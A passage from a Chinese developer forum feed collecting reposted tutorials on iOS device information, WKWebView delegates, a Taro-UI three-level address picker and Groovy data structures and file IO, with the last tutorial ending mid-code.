if ([platform isEqualToString:@"iPad4,7"]) return @"iPad Mini 3";
if ([platform isEqualToString:@"iPad4,8"]) return @"iPad Mini 3";
if ([platform isEqualToString:@"iPad4,9"]) return @"iPad Mini 3";
if ([platform isEqualToString:@"iPad5,1"]) return @"iPad Mini 4 (WiFi)";
if ([platform isEqualToString:@"iPad5,2"]) return @"iPad Mini 4 (LTE)";
if ([platform isEqualToString:@"iPad5,3"]) return @"iPad Air 2";
if ([platform isEqualToString:@"iPad5,4"]) return @"iPad Air 2";
if ([platform isEqualToString:@"iPad6,3"]) return @"iPad Pro 9.7";
if ([platform isEqualToString:@"iPad6,4"]) return @"iPad Pro 9.7";
if ([platform isEqualToString:@"iPad6,7"]) return @"iPad Pro 12.9";
if ([platform isEqualToString:@"iPad6,8"]) return @"iPad Pro 12.9";
if ([platform isEqualToString:@"iPad6,11"]) return @"iPad 5 (WiFi)";
if ([platform isEqualToString:@"iPad6,12"]) return @"iPad 5 (Cellular)";
if ([platform isEqualToString:@"iPad7,1"]) return @"iPad Pro 12.9 inch 2nd gen (WiFi)";
if ([platform isEqualToString:@"iPad7,2"]) return @"iPad Pro 12.9 inch 2nd gen (Cellular)";
if ([platform isEqualToString:@"iPad7,3"]) return @"iPad Pro 10.5 inch (WiFi)";
if ([platform isEqualToString:@"iPad7,4"]) return @"iPad Pro 10.5 inch (Cellular)";

if ([platform isEqualToString:@"AppleTV2,1"]) return @"Apple TV 2";
if ([platform isEqualToString:@"AppleTV3,1"]) return @"Apple TV 3";
if ([platform isEqualToString:@"AppleTV3,2"]) return @"Apple TV 3";
if ([platform isEqualToString:@"AppleTV5,3"]) return @"Apple TV 4";

if ([platform isEqualToString:@"i386"]) return @"iPhone Simulator";
if ([platform isEqualToString:@"x86_64"]) return @"iPhone Simulator";
return platform;
}

10.IP地址

#import 和#import 

- (NSString *)deviceIPAdress {
NSString *address = @"an error occurred when obtaining ip address";
struct ifaddrs *interfaces = NULL;
struct ifaddrs *temp_addr = NULL;
int success = 0;

success = getifaddrs(&interfaces);

if (success == 0) { // 0 表示获取成功

temp_addr = interfaces;
while (temp_addr != NULL) {
if( temp_addr->ifa_addr->sa_family == AF_INET) {
// Check if interface is en0 which is the wifi connection on the iPhone
if ([[NSString stringWithUTF8String:temp_addr->ifa_name] isEqualToString:@"en0"]) {
// Get NSString from C String
address = [NSString stringWithUTF8String:inet_ntoa(((struct sockaddr_in *)temp_addr->ifa_addr)->sin_addr)];
}
}

temp_addr = temp_addr->ifa_next;
}
}

freeifaddrs(interfaces);
return address;
}

11.当前手机连接的WIFI名称(SSID)

需要#import 

- (NSString *)getWifiName
{
NSString *wifiName = nil;

CFArrayRef wifiInterfaces = CNCopySupportedInterfaces();
if (!wifiInterfaces) {
return nil;
}

NSArray *interfaces = (__bridge NSArray *)wifiInterfaces;

for (NSString *interfaceName in interfaces) {
CFDictionaryRef dictRef = CNCopyCurrentNetworkInfo((__bridge CFStringRef)(interfaceName));

if (dictRef) {
NSDictionary *networkInfo = (__bridge NSDictionary *)dictRef;

wifiName = [networkInfo objectForKey:(__bridge NSString *)kCNNetworkInfoKeySSID];

CFRelease(dictRef);
}
}

CFRelease(wifiInterfaces);
return wifiName;
}

12.当前手机系統版本

[[[UIDevice currentDevice] systemVersion] floatValue] ;


摘自作者:Cooci_和谐学习_不急不躁
原贴链接:https://www.jianshu.com/p/b25cdf09ece2

收起阅读 »

WKWebView的特性及原理

WKWebView是在Apple的WWDC 2014随iOS 8和OS X 10.10出来的,是为了解决UIWebView加载速度慢、占用内存大的问题。使用UIWebView加载网页的时候,我们会发现内存会无限增长,还有内存泄漏的问题存在。WebKit中更新的...
继续阅读 »

WKWebView是在Apple的WWDC 2014随iOS 8和OS X 10.10出来的,是为了解决UIWebView加载速度慢、占用内存大的问题。

使用UIWebView加载网页的时候,我们会发现内存会无限增长,还有内存泄漏的问题存在。

WebKit中更新的WKWebView控件的新特性与使用方法,它很好的解决了UIWebView存在的内存、加载速度等诸多问题。

一、WKWebView新特性

在性能、稳定性、功能方面有很大提升(最直观的体现就是加载网页是占用的内存);

允许JavaScript的Nitro库加载并使用(UIWebView中限制);

支持了更多的HTML5特性;

高达60fps的滚动刷新率以及内置手势;

将UIWebViewDelegate与UIWebView重构成了14类与3个协议查看苹果官方文档

二、WebKit框架概览


如上图所示,WebKit框架中最核心的类应该属于WKWebView了,这个类专门用来渲染网页视图,其他类和协议都将基于它和服务于它。

WKWebView:网页的渲染与展示,通过WKWebViewConfiguration可以进行自定义配置

WKWebViewConfiguration:这个类专门用来配置WKWebView。

WKPreference:这个类用来进行相关webView设置。

WKProcessPool:这个类用来配置进程池,与网页视图的资源共享有关。

WKUserContentController:这个类主要用来做native与JavaScript的交互管理。

WKUserScript:用于进行JavaScript注入。

WKScriptMessageHandler:这个类专门用来处理JavaScript调用native的方法。

WKNavigationDelegate:网页跳转间的导航管理协议,这个协议可以监听网页的活动

WKNavigationAction:网页某个活动的示例化对象。

WKUIDelegate:用于交互处理JavaScript中的一些弹出框。

WKBackForwardList:堆栈管理的网页列表。

WKBackForwardListItem:每个网页节点对象。

三、WKWebView的属性

/// webView的自定义配置
@property (nonatomic,readonly, copy) WKWebViewConfiguration *configuration;
/// 导航代理
@property (nullable, nonatomic, weak)id navigationDelegate;
/// UI代理
@property (nullable, nonatomic, weak)id UIDelegate;
/// 访问过网页历史列表
@property (nonatomic,readonly, strong) WKBackForwardList *backForwardList;

/// 自定义初始化
- (instancetype)initWithFrame:(CGRect)frame configuration:(WKWebViewConfiguration *)configuration NS_DESIGNATED_INITIALIZER;- (nullable instancetype)initWithCoder:(NSCoder *)coder NS_DESIGNATED_INITIALIZER;
/// url加载webView视图
- (nullable WKNavigation *)loadRequest:(NSURLRequest *)request;
/// 文件加载webView视图
- (nullable WKNavigation *)loadFileURL:(NSURL *)URL allowingReadAccessToURL:(NSURL *)readAccessURL API_AVAILABLE(macosx(10.11), ios(9.0));
/// HTMLString字符串加载webView视图
- (nullable WKNavigation *)loadHTMLString:(NSString *)stringbaseURL:(nullable NSURL *)baseURL;
/// NSData数据加载webView视图
- (nullable WKNavigation *)loadData:(NSData *)data MIMEType:(NSString *)MIMEType characterEncodingName:(NSString *)characterEncodingName baseURL:(NSURL *)baseURL API_AVAILABLE(macosx(10.11), ios(9.0));
/// 返回上一个网页节点
- (nullable WKNavigation *)goToBackForwardListItem:(WKBackForwardListItem *)item;

/// 网页的标题
@property (nullable, nonatomic,readonly, copy) NSString *title;
/// 网页的URL地址
@property (nullable, nonatomic,readonly, copy) NSURL *URL;
/// 网页是否正在加载
@property (nonatomic,readonly, getter=isLoading) BOOL loading;
/// 加载的进度 范围为[0, 1]
@property (nonatomic,readonly)double estimatedProgress;
/// 网页链接是否安全
@property (nonatomic,readonly) BOOL hasOnlySecureContent;
/// 证书服务
@property (nonatomic,readonly, nullable) SecTrustRef serverTrust API_AVAILABLE(macosx(10.12), ios(10.0));
/// 是否可以返回
@property (nonatomic,readonly) BOOL canGoBack;
/// 是否可以前进
@property (nonatomic,readonly) BOOL canGoForward;

/// 返回到上一个网页
- (nullable WKNavigation *)goBack;
/// 前进到下一个网页
- (nullable WKNavigation *)goForward;
/// 重新加载
- (nullable WKNavigation *)reload;
/// 忽略缓存 重新加载
- (nullable WKNavigation *)reloadFromOrigin;
/// 停止加载
- (void)stopLoading;
/// 执行JavaScript
- (void)evaluateJavaScript:(NSString *)javaScriptString completionHandler:(void(^ _Nullable)(_Nullableid, NSError * _Nullable error))completionHandler;

/// 是否允许左右滑动,返回-前进操作 默认是NO
@property (nonatomic) BOOL allowsBackForwardNavigationGestures;
/// 自定义代理字符串
@property (nullable, nonatomic, copy) NSString *customUserAgent API_AVAILABLE(macosx(10.11), ios(9.0));
/// 在iOS上默认为NO,标识不允许链接预览
@property (nonatomic) BOOL allowsLinkPreview API_AVAILABLE(macosx(10.11), ios(9.0));
/// 滚动视图
@property (nonatomic,readonly, strong) UIScrollView *scrollView;
/// 是否支持放大手势,默认为NO
@property (nonatomic) BOOL allowsMagnification;
/// 放大因子,默认为1
@property (nonatomic) CGFloat magnification;
/// 据设置的缩放因子来缩放页面,并居中显示结果在指定的点

- (void)setMagnification:(CGFloat)magnification centeredAtPoint:(CGPoint)point;/// 证书列表@property (nonatomic,readonly, copy) NSArray *certificateChain API_DEPRECATED_WITH_REPLACEMENT("serverTrust", macosx(10.11,10.12), ios(9.0,10.0));

四、WKWebView的使用
简单使用,直接加载url地址

WKWebView *webView = [[WKWebView alloc] initWithFrame:self.view.bounds];
[webView loadRequest:[NSURLRequest requestWithURL:[NSURL URLWithString:@"https://developer.apple.com/reference/webkit"]]];
[self.view addSubview:webView];

自定义配置
再WKWebView里面注册供JS调用的方法,是通过WKUserContentController类下面的方法:

- (void)addScriptMessageHandler:(id )scriptMessageHandler name:(NSString *)name;

// 创建配置
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];

// 创建UserContentController(提供JavaScript向webView发送消息的方法)
WKUserContentController* userContent = [[WKUserContentController alloc] init];

// 添加消息处理,注意:self指代的对象需要遵守WKScriptMessageHandler协议,结束时需要移除
[userContent addScriptMessageHandler:self name:@"NativeMethod"];

// 将UserConttentController设置到配置文件
config.userContentController = userContent;

// 高端的自定义配置创建WKWebView
WKWebView *webView = [[WKWebView alloc] initWithFrame:[UIScreen mainScreen].bounds configuration:config];
// 设置访问的
URLNSURL *url = [NSURL URLWithString:@"https://developer.apple.com/reference/webkit"];
NSURLRequest *request = [NSURLRequest requestWithURL:url];
[webView loadRequest:request];
[self.view addSubview:webView];

// 实现WKScriptMessageHandler协议方法

- (void)userContentController:(WKUserContentController *)userContentController didReceiveScriptMessage:(WKScriptMessage *)message {

  // 判断是否是调用原生的
if([@"NativeMethod" isEqualToString:message.name]) {
// 判断message的内容,然后做相应的操作
if([@"close" isEqualToString:message.body]) {
}
}
}

注意:上面将当前ViewController设置为MessageHandler之后需要在当前ViewController销毁前将其移除,否则会造成内存泄漏。

[self.webView.configuration.userContentController removeScriptMessageHandlerForName:@"NativeMethod"];

五、WKNavigationDelegate代理方法
如果实现了代理方法,一定要在decidePolicyForNavigationAction和decidePolicyForNavigationResponse方法中的回调设置允许跳转。

typedef NS_ENUM(NSInteger, WKNavigationActionPolicy) {

WKNavigationActionPolicyCancel, // 取消跳转

WKNavigationActionPolicyAllow, // 允许跳转

} API_AVAILABLE(macosx(10.10), ios(8.0));

1.在发送请求之前,决定是否跳转

- (void)webView:(WKWebView *)webView decidePolicyForNavigationAction:(WKNavigationAction *)navigationAction decisionHandler:(void(^)(WKNavigationActionPolicy))decisionHandler {

NSLog(@"1-------在发送请求之前,决定是否跳转 -->%@",navigationAction.request);

decisionHandler(WKNavigationActionPolicyAllow);
}

2. 页面开始加载时调用

- (void)webView:(WKWebView *)webView didStartProvisionalNavigation:(WKNavigation *)navigation {

NSLog(@"2-------页面开始加载时调用");
}

3.在收到响应后,决定是否跳转

- (void)webView:(WKWebView *)webView decidePolicyForNavigationResponse:(WKNavigationResponse *)navigationResponse decisionHandler:(void(^)(WKNavigationResponsePolicy))decisionHandler {
/// 在收到服务器的响应头,根据response相关信息,决定是否跳转。decisionHandler必须调用,来决定是否跳转,参数WKNavigationActionPolicyCancel取消跳转,WKNavigationActionPolicyAllow允许跳转    NSLog(@"3-------在收到响应后,决定是否跳转");

decisionHandler(WKNavigationResponsePolicyAllow);

4. 当内容开始返回时调用

- (void)webView:(WKWebView *)webView didCommitNavigation:(WKNavigation *)navigation {

NSLog(@"4-------当内容开始返回时调用");
}

5 页面加载完成之后调用

- (void)webView:(WKWebView *)webView didFinishNavigation:(WKNavigation *)navigation {

NSLog(@"5-------页面加载完成之后调用");
}

6 页面加载失败时调用

- (void)webView:(WKWebView *)webView didFailProvisionalNavigation:(WKNavigation *)navigation {

NSLog(@"6-------页面加载失败时调用");
}

7.接收到服务器跳转请求之后调用

- (void)webView:(WKWebView *)webView didReceiveServerRedirectForProvisionalNavigation:(WKNavigation *)navigation {

NSLog(@"-------接收到服务器跳转请求之后调用");
}

8.数据加载发生错误时调用

- (void)webView:(WKWebView *)webView didFailNavigation:(null_unspecified WKNavigation *)navigation withError:(NSError *)error {

NSLog(@"----数据加载发生错误时调用");
}

9.需要响应身份验证时调用 同样在block中需要传入用户身份凭证

- (void)webView:(WKWebView *)webView didReceiveAuthenticationChallenge:(NSURLAuthenticationChallenge *)challenge completionHandler:(void(^)(NSURLSessionAuthChallengeDisposition disposition, NSURLCredential * _Nullable credential))completionHandler {

//用户身份信息 NSLog(@"----需要响应身份验证时调用 同样在block中需要传入用户身份凭证");

NSURLCredential *newCred = [NSURLCredential credentialWithUser:@"" password:@"" persistence:NSURLCredentialPersistenceNone];

// 为 challenge 的发送方提供 credential [[challenge sender] useCredential:newCred forAuthenticationChallenge:challenge];
completionHandler(NSURLSessionAuthChallengeUseCredential,newCred);

}

10.进程被终止时调用

- (void)webViewWebContentProcessDidTerminate:(WKWebView *)webView {

NSLog(@"----------进程被终止时调用");
}

六、WKUIDelegate代理方法

/**
* web界面中有弹出警告框时调用
*
* @param webView 实现该代理的webview
* @param message 警告框中的内容
* @param completionHandler 警告框消失调用
*/

- (void)webView:(WKWebView *)webView runJavaScriptAlertPanelWithMessage:(NSString *)message initiatedByFrame:(void(^)())completionHandler {

NSLog(@"-------web界面中有弹出警告框时调用");
}


* 创建新的webView时调用的方法

- (nullable WKWebView *)webView:(WKWebView *)webView createWebViewWithConfiguration:(WKWebViewConfiguration *)configuration forNavigationAction:(WKNavigationAction *)navigationAction windowFeatures:(WKWindowFeatures *)windowFeatures {

NSLog(@"-----创建新的webView时调用的方法");

return webView;

}

// 关闭webView时调用的方法

- (void)webViewDidClose:(WKWebView *)webView {

NSLog(@"----关闭webView时调用的方法");

}

// 下面这些方法是交互JavaScript的方法

// JavaScript调用confirm方法后回调的方法 confirm是js中的确定框,需要在block中把用户选择的情况传递进去

-(void)webView:(WKWebView *)webView runJavaScriptConfirmPanelWithMessage:(NSString *)message initiatedByFrame:(WKFrameInfo *)frame completionHandler:(void(^)(BOOL))completionHandler {

NSLog(@"%@",message);

completionHandler(YES);

}

// JavaScript调用prompt方法后回调的方法 prompt是js中的输入框 需要在block中把用户输入的信息传入

-(void)webView:(WKWebView *)webView runJavaScriptTextInputPanelWithPrompt:(NSString *)prompt defaultText:(NSString *)defaultText initiatedByFrame:(WKFrameInfo *)frame completionHandler:(void(^)(NSString * _Nullable))completionHandler{

NSLog(@"%@",prompt);

completionHandler(@"123");

}

// 默认预览元素调用

- (BOOL)webView:(WKWebView *)webView shouldPreviewElement:(WKPreviewElementInfo *)elementInfo {

NSLog(@"-----默认预览元素调用");

return YES;

}

// 返回一个视图控制器将导致视图控制器被显示为一个预览。返回nil将WebKit的默认预览的行为。

- (nullable UIViewController *)webView:(WKWebView *)webView previewingViewControllerForElement:(WKPreviewElementInfo *)elementInfo defaultActions:(NSArray> *)previewActions {

NSLog(@"----返回一个视图控制器将导致视图控制器被显示为一个预览。返回nil将WebKit的默认预览的行为。");

return self;

}

// 允许应用程序向它创建的视图控制器弹出

- (void)webView:(WKWebView *)webView commitPreviewingViewController:(UIViewController *)previewingViewController {

NSLog(@"----允许应用程序向它创建的视图控制器弹出");

}

// 显示一个文件上传面板。completionhandler完成处理程序调用后打开面板已被撤销。通过选择的网址,如果用户选择确定,否则为零。如果不实现此方法,Web视图将表现为如果用户选择了取消按钮。

- (void)webView:(WKWebView *)webView runOpenPanelWithParameters:(WKOpenPanelParameters *)parameters initiatedByFrame:(WKFrameInfo *)frame completionHandler:(void(^)(NSArray * _Nullable URLs))completionHandler {

NSLog(@"----显示一个文件上传面板");

}


摘自作者:Cooci_和谐学习_不急不躁
原贴链接:https://www.jianshu.com/p/1fd78ec144bb

收起阅读 »

taro-ui实现省市区三级联动

因taro-ui没有省市区三级联动,所以我们利用它提供的Picker 实现多列选择器。

因taro-ui没有省市区三级联动,所以我们利用它提供的Picker 实现多列选择器。

        <Picker

  mode="multiSelector" // 多列选择
onChange={this.onChange} // change事件
onColumnChange={this.onColumnChange} // 某列改变的事件
range={rangeData} //需要展示的数据
value={rangeKey} // 选择的下标
>
<View className="picker">
<Text className="label">所在地址:</Text>
{formData.province && (
<Text>
{formData.province}
{formData.city}
{formData.country}
</Text>
)} // 主要是数据回显加的代码,
{!formData.province && (
<Text className="placeholder">请选择省/市/区</Text>
)}
</View>
</Picker>


上述代码其实taro-ui官方文档都有具体的事例,这里就不多解释了。

相信每个的省市区结构都不一样,现在贴一部分自己项目的省市区结构

[{
provinceName: '北京市',
provinceCode: '11',
cities: [
{
cityName: '市辖区',
cityCode: '1101',
countries: [
{
countryCode: "110101"
countryName: "东城区"
}
]
}
]
}]

现在开始处理数据,因为rangeData是所有数据,省市区,我们需要把数据转换成[‘省’, ‘市’, ‘区’]。

handleCityData = key => {
// 处理数据。
let provinceList = new Array(); // 省
let cityList = new Array(); // 市
let areaList = new Array(); // 区
let { addressData } = this.state;
for (let i = 0; i < addressData.length; i++) {
// 获取省
let province = addressData[i];
provinceList.push(province.provinceName);
}
if (addressData[key[0]].cities && addressData[key[0]].cities.length > 0) {
for (let i = 0; i < addressData[key[0]].cities.length; i++) {
// 获取对应省下面的市
let city = addressData[key[0]].cities[i];
cityList.push(city.cityName);
}
}
for (
let i = 0;
i < addressData[key[0]].cities[key[1]].countries.length;
i++
) {
// 获取市下面对应区
let country = addressData[key[0]].cities[key[1]].countries[i];
areaList.push(country.countryName);
}
// }
let newRange = new Array();
newRange.push(provinceList);
newRange.push(cityList);
newRange.push(areaList);
this.setState({
rangeData: newRange, // 省市区所有的数据
rangeKey: key // key是多列选择器需要展示的下标,因为是初始化,所以我们传入[0,0,0]
});
};

数据处理代码有点丑,欢迎大家提意见。因babel没升级到7版本,所以if判断有点繁琐。

数据处理完了之后,我们需要开始处理每列的值改变,数据联动了,那么我们需要列联动事件。

onColumnChange = e => {
let { rangeKey } = this.state;
let changeColumn = e.detail;
let { column, value } = changeColumn;
switch (column) { // 根据改变不同的列,来显示不同的数据
case 0:
this.handleCityData([value, 0, 0]);
break;
case 1:
this.handleCityData([rangeKey[0], value, 0]);
break;
case 2:
this.handleCityData([rangeKey[0], rangeKey[1], value]);
break;
}
};

到这里的话,就基本实现了省市区三级联动。

下面说一哈,省市区数据回显的代码,不需要的朋友也可以了解一哈。
数据回显,其实很简单,只要找到对应的省市区的下标,就可以回显了。下面是具体实现代码:

getRangeKey = data => {
// 详情的时候获取对应的展示位置
let { addressData } = this.state;
let splitData = data.addressDescription.split("|");

let getAddress = {
province: splitData[0],
city: splitData[1],
country: splitData[2]
};
this.setState({
formData: getAddress
});
let provinceIndex = 0;
let cityIndex = 0;
let countryIndex = 0;
for (let i = 0; i < addressData.length; i++) {
let province = addressData[i];
if (province.provinceName === getAddress.province) {
provinceIndex = i;
for (let j = 0; j < province.cities.length; j++) {
let city = province.cities[j];
if (city.cityName === getAddress.city) {
cityIndex = j;
for (let k = 0; k < city.countries.length; k++) {
let country = city.countries[k];
if (country.countryName === getAddress.country) {
countryIndex = k;
break;
}
}
break;
}
}
break;
}
}
let rangeKey = new Array();
rangeKey.push(provinceIndex);
rangeKey.push(cityIndex);
rangeKey.push(countryIndex);
this.handleCityData(rangeKey);
};

通过上面的循环找出对应省市区的下标,就可以实现省市区的数据回显。

噢,还忘了多列选择器的change事件,这个的话,根据自己项目需要返回的是code还是name,这块就自己处理了,我这边讲的主要是省市区的三级联动。
我是把省市区写成一个组件,然后在父节点传入对应的数据以及事件就可以在一个项目中多次用到了。

下面是该组件的所有代码

import Taro, { Component } from "@tarojs/taro";
import { View, Text, Image, ScrollView, Picker } from "@tarojs/components";
import { connect } from "@tarojs/redux";
import * as actions from "@actions/address";
// import { dispatchCartNum } from '@actions/cart';
import "./index.scss";

@connect(state => state.address, { ...actions })
class ChangeCity extends Component {
static defaultProps = {
detailAddress: {}
};
constructor(props) {
super(props);
this.state = {
addressData: [],
rangeKey: [0, 0, 0],
rangeData: [[], [], []],
formData: {
province: "",
city: "",
country: ""
}
};
}

componentDidMount() {
this.getAddress();
}
getAddress = () => {
this.props.dispatchAddressChina().then(res => {
let addressData = [...res.data];
this.setState(
{
addressData: addressData
},
() => {
let { detailAddress } = this.props;
if (!detailAddress.province) {
this.handleCityData([0, 0, 0]);
} else {
this.getRangeKey(detailAddress);
}
}
);
});
};
getRangeKey = data => {
// 详情的时候获取对应的展示位置
let { addressData } = this.state;
let splitData = data.addressDescription.split("|");

let getAddress = {
province: splitData[0],
city: splitData[1],
country: splitData[2]
};
this.setState({
formData: getAddress
});
let provinceIndex = 0;
let cityIndex = 0;
let countryIndex = 0;
for (let i = 0; i < addressData.length; i++) {
let province = addressData[i];
if (province.provinceName === getAddress.province) {
provinceIndex = i;
for (let j = 0; j < province.cities.length; j++) {
let city = province.cities[j];
if (city.cityName === getAddress.city) {
cityIndex = j;
for (let k = 0; k < city.countries.length; k++) {
let country = city.countries[k];
if (country.countryName === getAddress.country) {
countryIndex = k;
break;
}
}
break;
}
}
break;
}
}
let rangeKey = new Array();
rangeKey.push(provinceIndex);
rangeKey.push(cityIndex);
rangeKey.push(countryIndex);
this.handleCityData(rangeKey);
this.setState({
rangeKey: rangeKey
});
};
handleCityData = key => {
// 处理数据
let provinceList = new Array(); // 省
let cityList = new Array(); // 市
let areaList = new Array(); // 区
let { addressData } = this.state;
for (let i = 0; i < addressData.length; i++) {
// 获取省
let province = addressData[i];
provinceList.push(province.provinceName);
}
if (addressData[key[0]].cities && addressData[key[0]].cities.length > 0) {
for (let i = 0; i < addressData[key[0]].cities.length; i++) {
// 获取对应省下面的市
let city = addressData[key[0]].cities[i];
cityList.push(city.cityName);
}
}
for (
let i = 0;
i < addressData[key[0]].cities[key[1]].countries.length;
i++
) {
// 获取市下面对应区
let country = addressData[key[0]].cities[key[1]].countries[i];
areaList.push(country.countryName);
}
// }
let newRange = new Array();
newRange.push(provinceList);
newRange.push(cityList);
newRange.push(areaList);
this.setState({
rangeData: newRange,
rangeKey: key
});
};
onChange = e => {
let { value } = e.detail;
this.getAddressName(value);
};
getAddressName = value => {
// 这里是转化用户选择的地址数据
let { addressData } = this.state;
let formData = {
province: "",
city: "",
country: ""
};
let payload = {
province: "",
city: "",
country: ""
};
if (addressData[value[0]]) {
formData.province = addressData[value[0]].provinceName; // 省名称
payload.province = addressData[value[0]].provinceCode; // 省code
if (
addressData[value[0]].cities &&
addressData[value[0]].cities[value[1]]
) {
formData.city = addressData[value[0]].cities[value[1]].cityName;
payload.city = addressData[value[0]].cities[value[1]].cityCode;
if (
addressData[value[0]].cities[value[1]].countries &&
addressData[value[0]].cities[value[1]].countries[value[2]]
) {
formData.country =
addressData[value[0]].cities[value[1]].countries[
value[2]
].countryName;
payload.country =
addressData[value[0]].cities[value[1]].countries[
value[2]
].countryCode;
}
}
}
// console.log(formData, "formData");
this.setState({
formData: formData
});
this.props.onChangeAddress(payload, formData);
};
onColumnChange = e => {
let { rangeKey } = this.state;
let changeColumn = e.detail;
let { column, value } = changeColumn;
switch (column) {
case 0:
this.handleCityData([value, 0, 0]);
break;
case 1:
this.handleCityData([rangeKey[0], value, 0]);
break;
case 2:
this.handleCityData([rangeKey[0], rangeKey[1], value]);
break;
}
};
render() {
const { formData, rangeData, rangeKey } = this.state;
return (


mode="multiSelector"
onChange={this.onChange}
onColumnChange={this.onColumnChange}
range={rangeData}
value={rangeKey}
>

所在地址:
{formData.province && (

{formData.province}
{formData.city}
{formData.country}

)}
{!formData.province && (
请选择省/市/区
)}




);
}
}
export default ChangeCity;

样式自己处理一下子就好了

本文链接:https://blog.csdn.net/weixin_42381896/article/details/106854708


EaseIMKit如何设置昵称、头像

参考截图:
1、聊天页面




2、会话列表




"Gradle"系列: 一、Gradle相关概念理解,Groovy基础(4)

五、Groovy数据结构 通过这个模块的学习,我会结合具体的例子来说明如何查阅文档来确定闭包中的参数,在讲 Map 的时候我会讲到 Groovy 常用的数据结构有如下 四种: 1)、数组 2)、List 3)、Map 4)、Range 1、数组 在 Gro...
继续阅读 »

五、Groovy数据结构


通过这个模块的学习,我会结合具体的例子来说明如何查阅文档来确定闭包中的参数,在讲 Map 的时候我会讲到


Groovy 常用的数据结构有如下 四种:



  • 1)、数组

  • 2)、List

  • 3)、Map

  • 4)、Range


1、数组


在 Groovy 中使用 [ ] 表示的是一个 List 集合,如果要定义 Array 数组,我们就必须强制指定为一个数组的类型

//在 Java 中,我们一般会这样去定义一个数组
String[] javaArray = ["Java", "Groovy", "Android"]

//在 Groovy 中,我们一般会使用 as 关键字定义数组
def groovyArray = ["Java", "Groovy", "Android"] as String[]

2、List


1)、列表集合定义


1、List 即列表集合,对应 Java 中的 List 接口,一般用 ArrayList 作为真正的实现类


2、定义一个列表集合的方式有点像 Java 中定义数组一样


3、集合元素可以接收任意的数据类型

//在 Groovy 中定义的集合默认就是对应于 Java 中 ArrayList 集合
def list1 = [1,2,3]
//打印 list 类型
print list1.class
//打印结果
class java.util.ArrayList

//集合元素可以接收任意的数据类型
def list2 = ['erdai666', 1, true]

那么问题来了,如果我想定义一个 LinkedList 集合,要怎么做呢?有两种方式:


1、通过 Java 的强类型方式去定义


2、通过 as 关键字来指定

//方式1:通过 Java 的强类型方式去定义
LinkedList list3 = [4, 5, 6]

//方式2:通过 as 关键字来指定
def list4 = [1, 2, 3] as LinkedList

2)、列表集合增删改查

def list = [1,2,3]
//-------------------------- 增加元素 ---------------------------------
//有以下几种方式
list.add(20)
list.leftShift(20)
list << 20

//-------------------------- 删除元素 ---------------------------------
//根据下标移除元素
list.remove(0)

//-------------------------- 修改元素 ---------------------------------
//根据下标修改元素
list[0] = 100

//-------------------------- 查询元素 ---------------------------------
//调用闭包的 find 方法,方法中接收一个闭包,闭包的参数就是 list 中的元素
list.find {
println it
}

列表集合 Api 挺多的,对于一些其他Api,使用到的时候自行查阅文档就好了,我会在下面讲 Map 的时候演示查阅 Api 文档确定闭包的参数


3、Map


1)、定义


1、Map 表示键-值表,其底层对应 Java 中的 LinkedHashMap


2、Map 变量由[:]定义,冒号左边是 key,右边是 Value。key 必须是字符串,value 可以是任何对象


3、Map 的 key 可以用 '' 或 "" 或 ''' '''包起来,也可以不用引号包起来

def map = [a: 1, 'b': true, "c" : "Groovy", '''d''' : '''ddd''']

2)、Map 常用操作


这里列举一些 Map 的常用操作,一些其他的 Api 使用到的时候自行查阅文档就好了

//---------------------------- Map 中元素访问操作 ----------------
/**
* 有如下三种方式:
* 1、map.key
* 2、map[key]
* 3、map.get(ket)
*/
println map.a
println map['b']
println map.get('c')
//打印结果
1
true
Groovy

//---------------------------- Map 中添加和修改元素 -------------------
//如果当前 key 在 map 中不存在,则添加该元素,如果存在则修改该元素
map.put('key','value')
map['key'] = "value"

3)、Map 遍历,演示查阅官方文档


现在我要去遍历 map 中的元素,但是我不知道它的 Api 是啥,那这个时候就要去查官方 Api 文档了:


http://docs.groovy-lang.org/latest/html/groovy-jdk/java/util/Map.html



通过官方文档我们可以发现: each 和 eachWithIndex 的闭包参数还是不确定的,如果我们使用 each 方法,如果传递给闭包是一个参数,那么它就把 entry 作为参数,如果我们传递给闭包是两个参数,那么它就把 key 和 value 作为参数,eachWithIndex 比 each 多了个 index 下标而已.


那么我们现在就使用以下这两个 Api :

//下面为了打印输出的格式清晰,做了一些额外的操作
def map = [a: 1, 'b': true, "c" : "Groovy", '''d''' : '''ddd''']

map.each {
print "$it.key $it.value \t"
}
println()

map.each {key,value ->
print "$key $value \t"
}
println()

map.eachWithIndex {entry,index ->
print "$entry.key $entry.value $index \t"
}
println()

map.eachWithIndex { key,value,index ->
print "$key $value $index \t"
}
//打印结果
a 1 b true c Groovy d ddd
a 1 b true c Groovy d ddd
a 1 0 b true 1 c Groovy 2 d ddd 3
a 1 0 b true 1 c Groovy 2 d ddd 3

4、Range


Range 表示范围,它其实是 List 的一种拓展。其由 begin 值 + 两个点 + end 值表示。如果不想包含最后一个元素,则 begin 值 + 两个点 + < + end 表示。我们可以通过 aRange.from 与 aRange.to 来获对应的边界元素,实际操作感受一下:

//定义一个两端都是闭区间的范围
def range = 1..10
range.each {
print it + " "
}
//打印值
1 2 3 4 5 6 7 8 9 10

//如果不想包含最后一个元素
def range1 = 1..<10
range1.each {
print it + " "
}
//打印结果
1 2 3 4 5 6 7 8 9

//打印头尾边界元素
println "$range1.from $range1.to"
//打印结果
1 9

六、Groovy 文件处理


1、IO


下面我们开始来操作这个文件,为了闭包的可读性,我会在闭包上加上类型和参数:

//-------------------------------1、文件定位 --------------------------------
def file = new File('testFile.txt')

//-----------------------2、使用 eachLine Api 每次读取一行, 闭包参数是每一行的字符串------------
file.eachLine { String line ->
println line
}
//打印结果
erdai666
erdai777
erdai888

//------------------------3、获取输入流,输出流读文件和写文件---------------------------------
//获取输入流读取文件的每一行
//1
file.withInputStream { InputStream inputStream ->
inputStream.eachLine { String it ->
println it
}
}

//2
file.withReader { BufferedReader it ->
it.readLines().each { String it ->
println it
}
}

//打印结果
erdai666
erdai777
erdai888

//获取输出流将字符串写入文件 下面这两种方式写入的文件内容会把之前的内容给覆盖
//1
file.withOutputStream { OutputStream outputStream ->
outputStream.write("erdai999".getBytes())
}

//2
file.withWriter { BufferedWriter it ->
it.write('erdai999')
}

//------------------------4、通过输入输出流实现文件拷贝功能---------------------------------
//1、通过 withOutputStream withInputStream 实现文件拷贝
def targetFile = new File('testFile1.txt')
targetFile.withOutputStream { OutputStream outputStream ->
file.withInputStream { InputStream inputStream ->
outputStream << inputStream
}
}

//2、通过 withReader、withWriter 实现文件拷贝
targetFile.withWriter {BufferedWriter bufferedWriter ->
file.withReader {BufferedReader bufferedReader ->
